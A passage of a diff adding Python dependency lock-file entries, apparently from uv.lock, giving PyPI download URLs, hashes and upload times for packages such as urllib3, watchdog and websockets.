"2026-06-27T00:27:27.332Z" }, +] + +[[package]] +name = "typing-extensions" +version = "4.15.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" }, +] + +[[package]] +name = "typing-inspection" +version = "0.4.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/55/e3/70399cb7dd41c10ac53367ae42139cf4b1ca5f36bb3dc6c9d33acdb43655/typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464", size = 75949, upload-time = "2025-10-01T02:14:41.687Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/dc/9b/47798a6c91d8bdb567fe2698fe81e0c6b7cb7ef4d13da4114b41d239f65d/typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7", size = 14611, upload-time = "2025-10-01T02:14:40.154Z" }, +] + +[[package]] +name = "urllib3" +version = "2.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/53/0c/06f8b233b8fd13b9e5ee11424ef85419ba0d8ba0b3138bf360be2ff56953/urllib3-2.7.0.tar.gz", hash = "sha256:231e0ec3b63ceb14667c67be60f2f2c40a518cb38b03af60abc813da26505f4c", size = 433602, upload-time = "2026-05-07T16:13:18.596Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7f/3e/5db95bcf282c52709639744ca2a8b149baccf648e39c8cc87553df9eae0c/urllib3-2.7.0-py3-none-any.whl", hash = "sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897", size = 131087, upload-time = "2026-05-07T16:13:17.151Z" }, +] + +[[package]] +name = "uuid-utils" +version = "0.13.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/fe/8a/17b11768dcb473d3a255c02ffdd94fbd1b345c906efea0a39124dcbaed52/uuid_utils-0.13.0.tar.gz", hash = "sha256:4c17df6427a9e23a4cd7fb9ee1efb53b8abb078660b9bdb2524ca8595022dfe1", size = 21921, upload-time = "2026-01-08T15:48:10.841Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/85/b8/d40848ca22781f206c60a1885fc737d2640392bd6b5792d455525accd89c/uuid_utils-0.13.0-cp39-abi3-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:83628283e977fb212e756bc055df8fdd2f9f589a2e539ba1abe755b8ce8df7a4", size = 602130, upload-time = "2026-01-08T15:47:34.877Z" }, + { url = "https://files.pythonhosted.org/packages/40/b9/00a944b8096632ea12638181f8e294abcde3e3b8b5e29b777f809896f6ae/uuid_utils-0.13.0-cp39-abi3-macosx_10_12_x86_64.whl", hash = "sha256:c47638ed6334ab19d80f73664f153b04bbb04ab8ce4298d10da6a292d4d21c47", size = 304213, upload-time = "2026-01-08T15:47:36.807Z" }, + { url = "https://files.pythonhosted.org/packages/da/d7/07b36c33aef683b81c9afff3ec178d5eb39d325447a68c3c68a62e4abb32/uuid_utils-0.13.0-cp39-abi3-manylinux_2_24_aarch64.whl", hash = "sha256:b276b538c57733ed406948584912da422a604313c71479654848b84b9e19c9b0", size = 340624, upload-time = "2026-01-08T15:47:38.821Z" }, + { url = "https://files.pythonhosted.org/packages/7d/55/fcff2fff02a27866cb1a6614c9df2b3ace721f0a0aab2b7b8f5a7d4e4221/uuid_utils-0.13.0-cp39-abi3-manylinux_2_24_armv7l.whl", hash = "sha256:bdaf2b77e34b199cf04cde28399495fd1ed951de214a4ece1f3919b2f945bb06", size = 346705, upload-time = "2026-01-08T15:47:40.397Z" }, + { url = "https://files.pythonhosted.org/packages/41/48/67438506c2bb8bee1b4b00d7c0b3ff866401b4790849bf591d654d4ea0bc/uuid_utils-0.13.0-cp39-abi3-manylinux_2_24_i686.whl", hash = "sha256:eb2f0baf81e82f9769a7684022dca8f3bf801ca1574a3e94df1876e9d6f9271e", size = 366023, upload-time = "2026-01-08T15:47:42.662Z" }, + { url = "https://files.pythonhosted.org/packages/8b/d7/2d91ce17f62fd764d593430de296b70843cc25229c772453f7261de9e6a8/uuid_utils-0.13.0-cp39-abi3-manylinux_2_24_ppc64le.whl", hash = "sha256:6be6c4d11275f5cc402a4fdba6c2b1ce45fd3d99bb78716cd1cc2cbf6802b2ce", size = 471149, upload-time = "2026-01-08T15:47:44.963Z" }, + { url = "https://files.pythonhosted.org/packages/2e/9a/aa0756186073ba84daf5704c150d41ede10eb3185d510e02532e2071550e/uuid_utils-0.13.0-cp39-abi3-manylinux_2_24_x86_64.whl", hash = "sha256:77621cf6ceca7f42173a642a01c01c216f9eaec3b7b65d093d2d6a433ca0a83d", size = 342130, upload-time = "2026-01-08T15:47:46.331Z" }, + { url = "https://files.pythonhosted.org/packages/74/b4/3191789f4dc3bed59d79cec90559821756297a25d7dc34d1bf7781577a75/uuid_utils-0.13.0-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:9a5a9eb06c2bb86dd876cd7b2fe927fc8543d14c90d971581db6ffda4a02526f", size = 524128, upload-time = "2026-01-08T15:47:47.628Z" }, + { url = "https://files.pythonhosted.org/packages/b2/30/29839210a8fff9fc219bfa7c8d8cd115324e92618cba0cda090d54d3d321/uuid_utils-0.13.0-cp39-abi3-musllinux_1_2_armv7l.whl", hash = "sha256:775347c6110fb71360df17aac74132d8d47c1dbe71233ac98197fc872a791fd2", size = 615872, upload-time = "2026-01-08T15:47:50.61Z" }, + { url = "https://files.pythonhosted.org/packages/99/ed/15000c96a8bd8f5fd8efd622109bf52549ea0b366f8ce71c45580fa55878/uuid_utils-0.13.0-cp39-abi3-musllinux_1_2_i686.whl", hash = "sha256:cf95f6370ad1a0910ee7b5ad5228fd19c4ae32fe3627389006adaf519408c41e", size = 581023, upload-time = "2026-01-08T15:47:52.776Z" }, + { url = "https://files.pythonhosted.org/packages/67/c8/3f809fa2dc2ca4bd331c792a3c7d3e45ae2b709d85847a12b8b27d1d5f19/uuid_utils-0.13.0-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:5a88e23e0b2f4203fefe2ccbca5736ee06fcad10e61b5e7e39c8d7904bc13300", size = 546715, upload-time = "2026-01-08T15:47:54.415Z" }, + { url = "https://files.pythonhosted.org/packages/f5/80/4f7c7efd734d1494397c781bd3d421688e9c187ae836e3174625b1ddf8b0/uuid_utils-0.13.0-cp39-abi3-win32.whl", hash = "sha256:3e4f2cc54e6a99c0551158100ead528479ad2596847478cbad624977064ffce3", size = 177650, upload-time = "2026-01-08T15:47:55.679Z" }, + { url = "https://files.pythonhosted.org/packages/6c/94/d05ab68622e66ad787a241dfe5ccc649b3af09f30eae977b9ee8f7046aaa/uuid_utils-0.13.0-cp39-abi3-win_amd64.whl", hash = "sha256:046cb2756e1597b3de22d24851b769913e192135830486a0a70bf41327f0360c", size = 183211, upload-time = "2026-01-08T15:47:57.604Z" }, + { url = "https://files.pythonhosted.org/packages/69/37/674b3ce25cd715b831ea8ebbd828b74c40159f04c95d1bb963b2c876fe79/uuid_utils-0.13.0-cp39-abi3-win_arm64.whl", hash = "sha256:5447a680df6ef8a5a353976aaf4c97cc3a3a22b1ee13671c44227b921e3ae2a9", size = 183518, upload-time = "2026-01-08T15:47:59.148Z" }, + { url = "https://files.pythonhosted.org/packages/99/fa/1d92de9538463859228e68db679b766fd300770c9a2db849dcba0c0c5a57/uuid_utils-0.13.0-pp311-pypy311_pp73-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:e5182e2d95f38e65f2e5bce90648ef56987443da13e145afcd747e584f9bc69c", size = 587641, upload-time = "2026-01-08T15:48:00.433Z" }, + { url = "https://files.pythonhosted.org/packages/ca/07/6bd9e6f5367e38c2ee7178ad882d2bd1b0d17c5393974b09ab027a215eba/uuid_utils-0.13.0-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:e3909a8a1fbd79d7c8bdc874eeb83e23ccb7a7cb0aa821a49596cc96c0cce84b", size = 298273, upload-time = "2026-01-08T15:48:02.063Z" }, + { url = "https://files.pythonhosted.org/packages/dc/14/7061b868a8a6799c8df83768a23f313d4e22075069f01ee3c28fa82aa2c6/uuid_utils-0.13.0-pp311-pypy311_pp73-manylinux_2_24_aarch64.whl", hash = "sha256:5dc4c9f749bd2511b8dcbf0891e658d7d86880022963db050722ad7b502b5e22", size = 333618, upload-time = "2026-01-08T15:48:03.503Z" }, + { url = "https://files.pythonhosted.org/packages/bc/f1/f48c3c9c343c9071ade5f355403e344d817412d9cf379a2d04b181282e74/uuid_utils-0.13.0-pp311-pypy311_pp73-manylinux_2_24_armv7l.whl", hash = "sha256:516adf07f5b2cdb88d50f489c702b5f1a75ae8b2639bfd254f4192d5f7ee261f", size = 339104, upload-time = "2026-01-08T15:48:05.02Z" }, + { url = "https://files.pythonhosted.org/packages/47/22/8e3142b4baffee77ce533fe956446d3699ec42f1d5252911208cbef4501e/uuid_utils-0.13.0-pp311-pypy311_pp73-manylinux_2_24_i686.whl", hash = "sha256:aeee3bd89e8de6184a3ab778ce19f5ce9ad32849d1be549516e0ddb257562d8d", size = 359503, upload-time = "2026-01-08T15:48:06.347Z" }, + { url = "https://files.pythonhosted.org/packages/bd/1a/756f1f9e31b15019c87cd2becb1c596351c50967cd143443da38df8818d1/uuid_utils-0.13.0-pp311-pypy311_pp73-manylinux_2_24_ppc64le.whl", hash = "sha256:97985256c2e59b7caa51f5c8515f64d777328562a9c900ec65e9d627baf72737", size = 467480, upload-time = "2026-01-08T15:48:07.681Z" }, + { url = "https://files.pythonhosted.org/packages/0a/20/a6929e98d9a461ca49e96194a82a1cc3fd5420f3a2f53cbb34fca438549e/uuid_utils-0.13.0-pp311-pypy311_pp73-manylinux_2_24_x86_64.whl", hash = "sha256:b7ccaa20e24c5f60f41a69ef571ed820737f9b0ade4cbeef56aaa8f80f5aa475", size = 333610, upload-time = "2026-01-08T15:48:09.375Z" }, +] + +[[package]] +name = "watchdog" +version = "6.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/db/7d/7f3d619e951c88ed75c6037b246ddcf2d322812ee8ea189be89511721d54/watchdog-6.0.0.tar.gz", hash = "sha256:9ddf7c82fda3ae8e24decda1338ede66e1c99883db93711d8fb941eaa2d8c282", size = 131220, upload-time = "2024-11-01T14:07:13.037Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0c/56/90994d789c61df619bfc5ce2ecdabd5eeff564e1eb47512bd01b5e019569/watchdog-6.0.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d1cdb490583ebd691c012b3d6dae011000fe42edb7a82ece80965b42abd61f26", size = 96390, upload-time = "2024-11-01T14:06:24.793Z" }, + { url = "https://files.pythonhosted.org/packages/55/46/9a67ee697342ddf3c6daa97e3a587a56d6c4052f881ed926a849fcf7371c/watchdog-6.0.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:bc64ab3bdb6a04d69d4023b29422170b74681784ffb9463ed4870cf2f3e66112", size = 88389, upload-time = "2024-11-01T14:06:27.112Z" }, + { url = "https://files.pythonhosted.org/packages/44/65/91b0985747c52064d8701e1075eb96f8c40a79df889e59a399453adfb882/watchdog-6.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c897ac1b55c5a1461e16dae288d22bb2e412ba9807df8397a635d88f671d36c3", size = 89020, upload-time = "2024-11-01T14:06:29.876Z" }, + { url = "https://files.pythonhosted.org/packages/e0/24/d9be5cd6642a6aa68352ded4b4b10fb0d7889cb7f45814fb92cecd35f101/watchdog-6.0.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6eb11feb5a0d452ee41f824e271ca311a09e250441c262ca2fd7ebcf2461a06c", size = 96393, upload-time = "2024-11-01T14:06:31.756Z" }, + { url = "https://files.pythonhosted.org/packages/63/7a/6013b0d8dbc56adca7fdd4f0beed381c59f6752341b12fa0886fa7afc78b/watchdog-6.0.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ef810fbf7b781a5a593894e4f439773830bdecb885e6880d957d5b9382a960d2", size = 88392, upload-time = "2024-11-01T14:06:32.99Z" }, + { url = "https://files.pythonhosted.org/packages/d1/40/b75381494851556de56281e053700e46bff5b37bf4c7267e858640af5a7f/watchdog-6.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:afd0fe1b2270917c5e23c2a65ce50c2a4abb63daafb0d419fde368e272a76b7c", size = 89019, upload-time = "2024-11-01T14:06:34.963Z" }, + { url = "https://files.pythonhosted.org/packages/39/ea/3930d07dafc9e286ed356a679aa02d777c06e9bfd1164fa7c19c288a5483/watchdog-6.0.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:bdd4e6f14b8b18c334febb9c4425a878a2ac20efd1e0b231978e7b150f92a948", size = 96471, upload-time = "2024-11-01T14:06:37.745Z" }, + { url = "https://files.pythonhosted.org/packages/12/87/48361531f70b1f87928b045df868a9fd4e253d9ae087fa4cf3f7113be363/watchdog-6.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c7c15dda13c4eb00d6fb6fc508b3c0ed88b9d5d374056b239c4ad1611125c860", size = 88449, upload-time = "2024-11-01T14:06:39.748Z" }, + { url = "https://files.pythonhosted.org/packages/5b/7e/8f322f5e600812e6f9a31b75d242631068ca8f4ef0582dd3ae6e72daecc8/watchdog-6.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:6f10cb2d5902447c7d0da897e2c6768bca89174d0c6e1e30abec5421af97a5b0", size = 89054, upload-time = "2024-11-01T14:06:41.009Z" }, + { url = "https://files.pythonhosted.org/packages/68/98/b0345cabdce2041a01293ba483333582891a3bd5769b08eceb0d406056ef/watchdog-6.0.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:490ab2ef84f11129844c23fb14ecf30ef3d8a6abafd3754a6f75ca1e6654136c", size = 96480, upload-time = "2024-11-01T14:06:42.952Z" }, + { url = "https://files.pythonhosted.org/packages/85/83/cdf13902c626b28eedef7ec4f10745c52aad8a8fe7eb04ed7b1f111ca20e/watchdog-6.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:76aae96b00ae814b181bb25b1b98076d5fc84e8a53cd8885a318b42b6d3a5134", size = 88451, upload-time = "2024-11-01T14:06:45.084Z" }, + { url = "https://files.pythonhosted.org/packages/fe/c4/225c87bae08c8b9ec99030cd48ae9c4eca050a59bf5c2255853e18c87b50/watchdog-6.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a175f755fc2279e0b7312c0035d52e27211a5bc39719dd529625b1930917345b", size = 89057, upload-time = "2024-11-01T14:06:47.324Z" }, + { url = "https://files.pythonhosted.org/packages/30/ad/d17b5d42e28a8b91f8ed01cb949da092827afb9995d4559fd448d0472763/watchdog-6.0.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:c7ac31a19f4545dd92fc25d200694098f42c9a8e391bc00bdd362c5736dbf881", size = 87902, upload-time = "2024-11-01T14:06:53.119Z" }, + { url = "https://files.pythonhosted.org/packages/5c/ca/c3649991d140ff6ab67bfc85ab42b165ead119c9e12211e08089d763ece5/watchdog-6.0.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:9513f27a1a582d9808cf21a07dae516f0fab1cf2d7683a742c498b93eedabb11", size = 88380, upload-time = "2024-11-01T14:06:55.19Z" }, + { url = "https://files.pythonhosted.org/packages/a9/c7/ca4bf3e518cb57a686b2feb4f55a1892fd9a3dd13f470fca14e00f80ea36/watchdog-6.0.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:7607498efa04a3542ae3e05e64da8202e58159aa1fa4acddf7678d34a35d4f13", size = 79079, upload-time = "2024-11-01T14:06:59.472Z" }, + { url = "https://files.pythonhosted.org/packages/5c/51/d46dc9332f9a647593c947b4b88e2381c8dfc0942d15b8edc0310fa4abb1/watchdog-6.0.0-py3-none-manylinux2014_armv7l.whl", hash = "sha256:9041567ee8953024c83343288ccc458fd0a2d811d6a0fd68c4c22609e3490379", size = 79078, upload-time = "2024-11-01T14:07:01.431Z" }, + { url = "https://files.pythonhosted.org/packages/d4/57/04edbf5e169cd318d5f07b4766fee38e825d64b6913ca157ca32d1a42267/watchdog-6.0.0-py3-none-manylinux2014_i686.whl", hash = "sha256:82dc3e3143c7e38ec49d61af98d6558288c415eac98486a5c581726e0737c00e", size = 79076, upload-time = "2024-11-01T14:07:02.568Z" }, + { url = "https://files.pythonhosted.org/packages/ab/cc/da8422b300e13cb187d2203f20b9253e91058aaf7db65b74142013478e66/watchdog-6.0.0-py3-none-manylinux2014_ppc64.whl", hash = "sha256:212ac9b8bf1161dc91bd09c048048a95ca3a4c4f5e5d4a7d1b1a7d5752a7f96f", size = 79077, upload-time = "2024-11-01T14:07:03.893Z" }, + { url = "https://files.pythonhosted.org/packages/2c/3b/b8964e04ae1a025c44ba8e4291f86e97fac443bca31de8bd98d3263d2fcf/watchdog-6.0.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:e3df4cbb9a450c6d49318f6d14f4bbc80d763fa587ba46ec86f99f9e6876bb26", size = 79078, upload-time = "2024-11-01T14:07:05.189Z" }, + { url = "https://files.pythonhosted.org/packages/62/ae/a696eb424bedff7407801c257d4b1afda455fe40821a2be430e173660e81/watchdog-6.0.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:2cce7cfc2008eb51feb6aab51251fd79b85d9894e98ba847408f662b3395ca3c", size = 79077, upload-time = "2024-11-01T14:07:06.376Z" }, + { url = "https://files.pythonhosted.org/packages/b5/e8/dbf020b4d98251a9860752a094d09a65e1b436ad181faf929983f697048f/watchdog-6.0.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:20ffe5b202af80ab4266dcd3e91aae72bf2da48c0d33bdb15c66658e685e94e2", size = 79078, upload-time = "2024-11-01T14:07:07.547Z" }, + { url = "https://files.pythonhosted.org/packages/07/f6/d0e5b343768e8bcb4cda79f0f2f55051bf26177ecd5651f84c07567461cf/watchdog-6.0.0-py3-none-win32.whl", hash = "sha256:07df1fdd701c5d4c8e55ef6cf55b8f0120fe1aef7ef39a1c6fc6bc2e606d517a", size = 79065, upload-time = "2024-11-01T14:07:09.525Z" }, + { url = "https://files.pythonhosted.org/packages/db/d9/c495884c6e548fce18a8f40568ff120bc3a4b7b99813081c8ac0c936fa64/watchdog-6.0.0-py3-none-win_amd64.whl", hash = "sha256:cbafb470cf848d93b5d013e2ecb245d4aa1c8fd0504e863ccefa32445359d680", size = 79070, upload-time = "2024-11-01T14:07:10.686Z" }, + { url = "https://files.pythonhosted.org/packages/33/e8/e40370e6d74ddba47f002a32919d91310d6074130fe4e17dabcafc15cbf1/watchdog-6.0.0-py3-none-win_ia64.whl", hash = "sha256:a1914259fa9e1454315171103c6a30961236f508b9b623eae470268bbcc6a22f", size = 79067, upload-time = "2024-11-01T14:07:11.845Z" }, +] + +[[package]] +name = "websockets" +version = "16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/04/24/4b2031d72e840ce4c1ccb255f693b15c334757fc50023e4db9537080b8c4/websockets-16.0.tar.gz", hash = "sha256:5f6261a5e56e8d5c42a4497b364ea24d94d9563e8fbd44e78ac40879c60179b5", size = 179346, upload-time = "2026-01-10T09:23:47.181Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/20/74/221f58decd852f4b59cc3354cccaf87e8ef695fede361d03dc9a7396573b/websockets-16.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:04cdd5d2d1dacbad0a7bf36ccbcd3ccd5a30ee188f2560b7a62a30d14107b31a", size = 177343, upload-time = "2026-01-10T09:22:21.28Z" }, + { url = "https://files.pythonhosted.org/packages/19/0f/22ef6107ee52ab7f0b710d55d36f5a5d3ef19e8a205541a6d7ffa7994e5a/websockets-16.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:8ff32bb86522a9e5e31439a58addbb0166f0204d64066fb955265c4e214160f0", size = 175021, upload-time = "2026-01-10T09:22:22.696Z" }, + { url = "https://files.pythonhosted.org/packages/10/40/904a4cb30d9b61c0e278899bf36342e9b0208eb3c470324a9ecbaac2a30f/websockets-16.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:583b7c42688636f930688d712885cf1531326ee05effd982028212ccc13e5957", size = 175320, upload-time = "2026-01-10T09:22:23.94Z" }, + { url = "https://files.pythonhosted.org/packages/9d/2f/4b3ca7e106bc608744b1cdae041e005e446124bebb037b18799c2d356864/websockets-16.0-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:7d837379b647c0c4c2355c2499723f82f1635fd2c26510e1f587d89bc2199e72", size = 183815, upload-time = "2026-01-10T09:22:25.469Z" }, + { url = "https://files.pythonhosted.org/packages/86/26/d40eaa2a46d4302becec8d15b0fc5e45bdde05191e7628405a19cf491ccd/websockets-16.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:df57afc692e517a85e65b72e165356ed1df12386ecb879ad5693be08fac65dde", size = 185054, upload-time = "2026-01-10T09:22:27.101Z" }, + { url = "https://files.pythonhosted.org/packages/b0/ba/6500a0efc94f7373ee8fefa8c271acdfd4dca8bd49a90d4be7ccabfc397e/websockets-16.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:2b9f1e0d69bc60a4a87349d50c09a037a2607918746f07de04df9e43252c77a3", size = 184565, upload-time = "2026-01-10T09:22:28.293Z" }, + { url = "https://files.pythonhosted.org/packages/04/b4/96bf2cee7c8d8102389374a2616200574f5f01128d1082f44102140344cc/websockets-16.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:335c23addf3d5e6a8633f9f8eda77efad001671e80b95c491dd0924587ece0b3", size = 183848, upload-time = "2026-01-10T09:22:30.394Z" }, + { url = "https://files.pythonhosted.org/packages/02/8e/81f40fb00fd125357814e8c3025738fc4ffc3da4b6b4a4472a82ba304b41/websockets-16.0-cp310-cp310-win32.whl", hash = "sha256:37b31c1623c6605e4c00d466c9d633f9b812ea430c11c8a278774a1fde1acfa9", size = 178249, upload-time = "2026-01-10T09:22:32.083Z" }, + { url = "https://files.pythonhosted.org/packages/b4/5f/7e40efe8df57db9b91c88a43690ac66f7b7aa73a11aa6a66b927e44f26fa/websockets-16.0-cp310-cp310-win_amd64.whl", hash = "sha256:8e1dab317b6e77424356e11e99a432b7cb2f3ec8c5ab4dabbcee6add48f72b35", size = 178685, upload-time = "2026-01-10T09:22:33.345Z" }, + { url = "https://files.pythonhosted.org/packages/f2/db/de907251b4ff46ae804ad0409809504153b3f30984daf82a1d84a9875830/websockets-16.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:31a52addea25187bde0797a97d6fc3d2f92b6f72a9370792d65a6e84615ac8a8", size = 177340, upload-time = "2026-01-10T09:22:34.539Z" }, + { url = "https://files.pythonhosted.org/packages/f3/fa/abe89019d8d8815c8781e90d697dec52523fb8ebe308bf11664e8de1877e/websockets-16.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:417b28978cdccab24f46400586d128366313e8a96312e4b9362a4af504f3bbad", size = 175022, upload-time = "2026-01-10T09:22:36.332Z" }, + { url = "https://files.pythonhosted.org/packages/58/5d/88ea17ed1ded2079358b40d31d48abe90a73c9e5819dbcde1606e991e2ad/websockets-16.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:af80d74d4edfa3cb9ed973a0a5ba2b2a549371f8a741e0800cb07becdd20f23d", size = 175319, upload-time = "2026-01-10T09:22:37.602Z" }, + { url = "https://files.pythonhosted.org/packages/d2/ae/0ee92b33087a33632f37a635e11e1d99d429d3d323329675a6022312aac2/websockets-16.0-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:08d7af67b64d29823fed316505a89b86705f2b7981c07848fb5e3ea3020c1abe", size = 184631, upload-time = "2026-01-10T09:22:38.789Z" }, + { url = "https://files.pythonhosted.org/packages/c8/c5/27178df583b6c5b31b29f526ba2da5e2f864ecc79c99dae630a85d68c304/websockets-16.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7be95cfb0a4dae143eaed2bcba8ac23f4892d8971311f1b06f3c6b78952ee70b", size = 185870, upload-time = "2026-01-10T09:22:39.893Z" }, + { url = "https://files.pythonhosted.org/packages/87/05/536652aa84ddc1c018dbb7e2c4cbcd0db884580bf8e95aece7593fde526f/websockets-16.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d6297ce39ce5c2e6feb13c1a996a2ded3b6832155fcfc920265c76f24c7cceb5", size = 185361, upload-time = "2026-01-10T09:22:41.016Z" }, + { url = "https://files.pythonhosted.org/packages/6d/e2/d5332c90da12b1e01f06fb1b85c50cfc489783076547415bf9f0a659ec19/websockets-16.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:1c1b30e4f497b0b354057f3467f56244c603a79c0d1dafce1d16c283c25f6e64", size = 184615, upload-time = "2026-01-10T09:22:42.442Z" }, + { url = "https://files.pythonhosted.org/packages/77/fb/d3f9576691cae9253b51555f841bc6600bf0a983a461c79500ace5a5b364/websockets-16.0-cp311-cp311-win32.whl", hash = "sha256:5f451484aeb5cafee1ccf789b1b66f535409d038c56966d6101740c1614b86c6", size = 178246, upload-time = "2026-01-10T09:22:43.654Z" }, + { url = "https://files.pythonhosted.org/packages/54/67/eaff76b3dbaf18dcddabc3b8c1dba50b483761cccff67793897945b37408/websockets-16.0-cp311-cp311-win_amd64.whl", hash = "sha256:8d7f0659570eefb578dacde98e24fb60af35350193e4f56e11190787bee77dac", size = 178684, upload-time = "2026-01-10T09:22:44.941Z" }, + { url = "https://files.pythonhosted.org/packages/84/7b/bac442e6b96c9d25092695578dda82403c77936104b5682307bd4deb1ad4/websockets-16.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:71c989cbf3254fbd5e84d3bff31e4da39c43f884e64f2551d14bb3c186230f00", size = 177365, upload-time = "2026-01-10T09:22:46.787Z" }, + { url = "https://files.pythonhosted.org/packages/b0/fe/136ccece61bd690d9c1f715baaeefd953bb2360134de73519d5df19d29ca/websockets-16.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:8b6e209ffee39ff1b6d0fa7bfef6de950c60dfb91b8fcead17da4ee539121a79", size = 175038, upload-time = "2026-01-10T09:22:47.999Z" }, + { url = "https://files.pythonhosted.org/packages/40/1e/9771421ac2286eaab95b8575b0cb701ae3663abf8b5e1f64f1fd90d0a673/websockets-16.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:86890e837d61574c92a97496d590968b23c2ef0aeb8a9bc9421d174cd378ae39", size = 175328, upload-time = "2026-01-10T09:22:49.809Z" }, + { url = "https://files.pythonhosted.org/packages/18/29/71729b4671f21e1eaa5d6573031ab810ad2936c8175f03f97f3ff164c802/websockets-16.0-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:9b5aca38b67492ef518a8ab76851862488a478602229112c4b0d58d63a7a4d5c", size = 184915, upload-time = "2026-01-10T09:22:51.071Z" }, + { url = "https://files.pythonhosted.org/packages/97/bb/21c36b7dbbafc85d2d480cd65df02a1dc93bf76d97147605a8e27ff9409d/websockets-16.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e0334872c0a37b606418ac52f6ab9cfd17317ac26365f7f65e203e2d0d0d359f", size = 186152, upload-time = "2026-01-10T09:22:52.224Z" }, + { url = "https://files.pythonhosted.org/packages/4a/34/9bf8df0c0cf88fa7bfe36678dc7b02970c9a7d5e065a3099292db87b1be2/websockets-16.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a0b31e0b424cc6b5a04b8838bbaec1688834b2383256688cf47eb97412531da1", size = 185583, upload-time = "2026-01-10T09:22:53.443Z" }, + { url = "https://files.pythonhosted.org/packages/47/88/4dd516068e1a3d6ab3c7c183288404cd424a9a02d585efbac226cb61ff2d/websockets-16.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:485c49116d0af10ac698623c513c1cc01c9446c058a4e61e3bf6c19dff7335a2", size = 184880, upload-time = "2026-01-10T09:22:55.033Z" }, + { url = "https://files.pythonhosted.org/packages/91/d6/7d4553ad4bf1c0421e1ebd4b18de5d9098383b5caa1d937b63df8d04b565/websockets-16.0-cp312-cp312-win32.whl", hash = "sha256:eaded469f5e5b7294e2bdca0ab06becb6756ea86894a47806456089298813c89", size = 178261, upload-time = "2026-01-10T09:22:56.251Z" }, + { url = 